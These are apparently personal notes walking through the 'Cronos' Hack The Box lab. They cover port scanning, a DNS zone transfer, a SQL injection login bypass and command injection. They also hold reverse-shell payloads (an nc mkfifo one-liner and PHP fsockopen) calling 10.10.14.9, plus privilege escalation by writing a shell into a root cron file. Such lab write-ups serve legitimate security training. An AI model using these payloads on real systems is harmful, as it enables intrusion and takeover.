Lin: Cronos

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)

53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

gobuster dir -u http://10.10.10.13/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o gobuster

we find a virtual host routing
https://en.wikipedia.org/wiki/Virtual_hosting

add in hosts file
10.10.10.13 cronos.htb

DNS playing
host -l cronos.htb 10.10.10.13

Dns zone transfer:
dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 152 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sat Mar 07 07:29:28 EST 2020
;; XFR size: 7 records (messages 1, bytes 203)

add in hosts file
10.10.10.13 admin.cronos.htb

gobuster dir -u http://cornos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-

medium.txt -t 20 -o gobuster

we go to admin page and try to do an sql injection
in user name
usernam : ' or 1=1 #
password : ahmed

we have a command injection

get reverse shell

nc -nlvp 12344

intercept with burp
set command to be
command= rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 12344 | >/tmp/f
command=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.9+12345|+>/tmp/f

this didnot work so we use this

curl -d "command=traceroute&host=8.8.8.8;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.14.9%22%2C8888%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27" http://admin.cronos.htb/welcome.php

and it worked

running linux enum we find a crontab written by root and we can write in it

add this line

echo '<?php $sock=fsockopen("10.10.14.9",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' > artisan